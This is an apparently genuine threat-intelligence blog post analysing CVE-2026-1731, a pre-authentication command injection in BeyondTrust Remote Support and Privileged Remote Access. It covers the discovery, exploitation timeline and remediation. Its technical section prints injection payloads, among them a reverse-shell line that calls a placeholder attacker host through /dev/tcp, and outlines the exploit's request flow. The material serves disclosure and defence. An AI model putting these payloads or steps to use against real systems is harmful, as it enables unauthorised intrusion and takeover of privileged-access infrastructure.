

CVE-2026-1731: Finding a critical RCE in an age of AI-driven vulnerability research




intel471.com/blog/cve-2026-1731-finding-a-critical-rce-in-an-age-of-ai-driven-vulnerability-research

Intel 471

March 5, 2026

Mar 5, 2026



Introduction

CVE-2026-1731 is an operating system (OS) command injection vulnerability impacting BeyondTrust Remote Support (RS) and Privileged Remote Access (PRA) software. These products are critical enterprise tools for managing and controlling remote access to critical systems for privileged users, such as system administrators. Successful exploitation may result in remote code execution (RCE) on impacted instances.

The Hacktron autonomous vulnerability hunter [identified the flaw](#) Jan. 31, 2026, using artificial intelligence (AI)-enabled variant analysis. The company decided not to publish further technical details to provide affected parties sufficient time to apply patches. AI variant analysis in this context refers to the use of AI techniques to identify vulnerability patterns similar to previously discovered flaws by analyzing code semantics or patch differences across software products. BeyondTrust issued a security advisory releasing patches for CVE-2026-1731 Feb. 6, 2026.

The AI-augmented method for discovering CVE-2026-1731 highlights the shifting landscape for vulnerability research. The emergence of new large language model (LLM)-powered tools such as Claude Code Security, which Anthropic [revealed Feb. 20, 2026](#), and is currently in limited developer preview, demonstrates how AI reasoning can be used to scan open source codebases

to identify over 500 previously unknown vulnerabilities. The tool may help mitigate larger attack surfaces from AI-generated insecure code but also accelerate the discovery of new vulnerabilities and exploit development.

Today, LLMs are best understood as skill amplifiers for capable operators and as building blocks for emerging AI-enabled malware, rather than as fully autonomous vulnerability hunters. Over the longer term, the risk landscape is trending toward narrower windows for patching, broader automation of n-day exploitation and progressively more adaptive malware rather than instant, autonomous zero-day discovery. This trend poses additional challenges for security and IT teams that must prioritize the remediation of the most critical vulnerabilities and misconfigurations.

Overview of CVE-2026-1731: Added to CISA’s KEV 5 days after



CVE-2026-1731 shares characteristics with CVE-2024-12356 where both vulnerabilities affect the same products and stem from a comparable flaw found on the /nw WebSocket endpoint path. CVE-2024-12356 is notable as the Chinese state-sponsored **Silk Typhoon** intrusion cluster exploited it to breach the U.S. Treasury Department [in late 2024](#). CVE-2026-1731 reportedly was not exploited as a zero-day but a proof of concept (PoC) was posted to GitHub four days after the initial disclosure.[3] This rapid exploit availability was likely facilitated by publicly available technical analysis and the vulnerability's straightforward nature (see the "Technical analysis" section of this report).

On Feb. 11, 2026, security researchers at GreyNoise [reported](#) a rise in CVE-2026-1731 vulnerability scanning activity, while CISA added the vulnerability to its Known Exploited Vulnerabilities (KEV) catalog two days later, reporting ongoing exploitation and urging federal agencies to remediate it promptly.





Figure 1: The image depicts a Shodan search with the query “http.favicon.hash:-694003434” revealed there were 4,017 instances of BeyondTrust RS exposed to the internet as of Feb. 20, 2026.



Figure 2: The image depicts a Shodan search with the query “http.favicon.hash:57131911” revealed there were 284 instances of BeyondTrust PRA exposed to the internet as of Feb. 20, 2026.

Technical analysis

CVE-2026-1731 enables unauthenticated remote attackers to execute arbitrary OS commands in the context of the site user, potentially leading to full system compromise, data exfiltration and service disruption. It represents a variant of prior flaws in the same endpoint, specifically CVE-2024-12356, but exploits a different code path that was not fully mitigated by earlier patches, as [detailed in a by Rapid7](#). The root cause lies in the “thin-scc-wrapper” Bash script, which is invoked through the /nw WebSocket endpoint during client-server handshakes. The script handles internal control protocol negotiation between thin clients and the BeyondTrust RS or PRA servers, comparing their supported versions to agree on a compatible protocol version. For this to occur, the script processes the client-supplied “remoteVersion” parameter, which is then used in arithmetic comparisons such as `[[ "$localVersion" -lt "$remoteVersion" ]]`, where -lt stands for lower than. Below we provide a code snippet of the vulnerable code.



Within the `[[ ]]` conditional construct, Bash evaluates operands used in numeric comparisons as arithmetic expressions rather than strictly numeric values, allowing attackers to supply crafted input that may result in unintended command execution. For instance, a payload formatted as `"a[$(command)]0"` or `"hax[$(/bin/bash -i >& /dev/tcp/attacker-ip/port 0>&1)]"` causes the embedded command to run, bypassing numeric sanity checks added in prior patches because the arithmetic expansion occurs regardless.

The vulnerability can be exploited without authentication because the `/nw WebSocket` endpoint is accessible pre-login. However, the request must include a valid `X-Ns-Company` HTTP header that matches the company name configured on the target system, otherwise the connection is rejected. To identify the company name, we observed exploit codes accessing the `https://<victim_domain>/get_portal_info` URL to collect the information. Once the company name is obtained, the exploit initiates the WebSocket connection to the `/nw` endpoint and sends a specially crafted message that contains a newline-delimited message with the malicious `remoteVersion` value that triggers the vulnerable arithmetic evaluation logic, followed by a universally unique identifier (UUID) value, an authentication type commonly set to `"0"` and a placeholder `"gskey"` value. These last three additional fields are only required to satisfy the expected protocol format. The public exploit analyzed leveraged the `websocat` tool to facilitate this process and provide the appropriate protocol headers. While the analyzed exploit was designed to only run the `"nslookup"` utility on vulnerable hosts, other exploits could be modified to read and exfiltrate sensitive contents from system files such as `"/etc/passwd"` to spawn remote shells or run different payloads. Below we provide a code snippet of the analyzed exploit with the WebSocket parameters.[7]



Underground activity

CVE-2026-1731 garnered moderate attention from threat actors, including a prominent initial access broker (IAB) who shared an exploit for the vulnerability on a Russian-language cybercrime forum.[7]

Open sources reported scanning activity targeted HTTP, HTTPS and non-standard ports, as some organizations may use BeyondTrust through non-default ports. Fingerprint via the JA4+ technique revealed at least two main exploitation techniques, differentiated according to the quantity of parameters sent to vulnerable instances, with one exploit sending five headers and the other sending seven headers. For reference, the exploit code analyzed in [this report](#) at <https://github.com/win3zz/CVE-2026-1731/blob/main/exploit.py> had seven parameters sent to vulnerable instances. Follow-up activity after initial exploitation [as reported in open sources](#) included:

- Deployed the SimpleHelp remote monitoring tool for persistence. In some instances, binaries were renamed to “access.exe” and deployed to the %ProgramData% root directory.
- Conducted reconnaissance with multiple command-line utilities. Observed procedures included:



Enumerated Active Directory environments using the AdsiSearcher .NET class through PowerShell. The observed procedure included:



Created new domain accounts and added these accounts to privileged groups such as Enterprise Admins or Domain Admins. Observed procedures included:



-
- The PsExec utility was used to deploy SimpleHelp on remote hosts, while server message block version 2 (SMBv2) session setup requests were observed with support of the Impacket Python framework.
 - The default execution of the exploit code analyzed in this report was designed to perform out-of-band application security testing (OAST) using the “nslookup” command. The query targets XXXXXXXXXXXXXXXXXXXX.oast.fun, a subdomain generated by Interactsh, an open source project maintained by ProjectDiscovery for conducting OAST checks. Unaware adversaries may attempt to run the exploit with its default configuration, inadvertently generating identifiable domain name system (DNS) artifacts on compromised hosts. Such activity may serve as an early indicator of exploitation attempts. The observed procedure included:



Assessment

CVE-2026-1731 is highly attractive to adversaries due to BeyondTrust's broad adoption and large attack surface. The vulnerability is easy to exploit, requiring no authentication or special permissions. This ease is compounded by the vulnerability's high Common Vulnerability Scoring System version 4 (CVSSv4) score of 9.9, reflecting high impacts on system confidentiality, integrity and availability. The exploit code released on GitHub four days after disclosure reduced the complexity of exploitation. While it requires adjustments for operational use, comprehensive open source analyses provide sufficient detail to enable practical adaptation.

The vulnerability's reported discovery through Hacktron's AI agent underscores the expanding role of AI in vulnerability research, especially in automating the detection of recurring flaw patterns and supporting variant analysis across related vulnerabilities.



Indicators of compromise were shared in reports [by DarkTrace](#) and the researcher [win3zz](#)

Recommendations

BeyondTrust remediated the vulnerability for all RS and PRA software-as-a-service (SaaS) customers. On-premises customers must apply the remediation patches to the following versions:

- BeyondTrust RS versions 25.3.1 and prior.
- Privileged PRA version 24.3.4 and prior.

Threat hunting

Customers with access to our HUNTER platform can hunt proactively for behaviors identified in this report. Hunt packages contain the query logic of the hunt, emulation and validation packages, and natively written queries for major EDR, XDR, and SIEM platforms.



For access to HUNTER hunt packages, please contact us at sales@intel471.com. The full report, available for Intel 471 customers, also includes additional unique underground sources.

Related Articles



[Emerging Threats//](#)

CrazyHunter Ransomware

[CrazyHunter is a ransomware campaign targeting healthcare that weakens endpoint defenses and escalates privileges before encrypting systems at scale.](#)



Intel 471 Logo 2024.png

[Emerging Threats//](#)

DevMan Ransomware

[DevMan Ransomware is a newly emerging ransomware operation observed in 2025 that has been assessed as a derivative of the DragonForce ransomware family.](#)

 Intel 471 Logo 2024.png

[Emerging Threats//](#)

[Gootloader Malware Update](#)

[Gootloader resurfaced with enhanced capabilities, building on the multi-stage loader malware first seen in 2020.](#)

Sign up for our Executive Intel Update

Stay informed with our weekly executive update, sending you the latest news and timely data on the threats, risks, and regulations affecting your organization.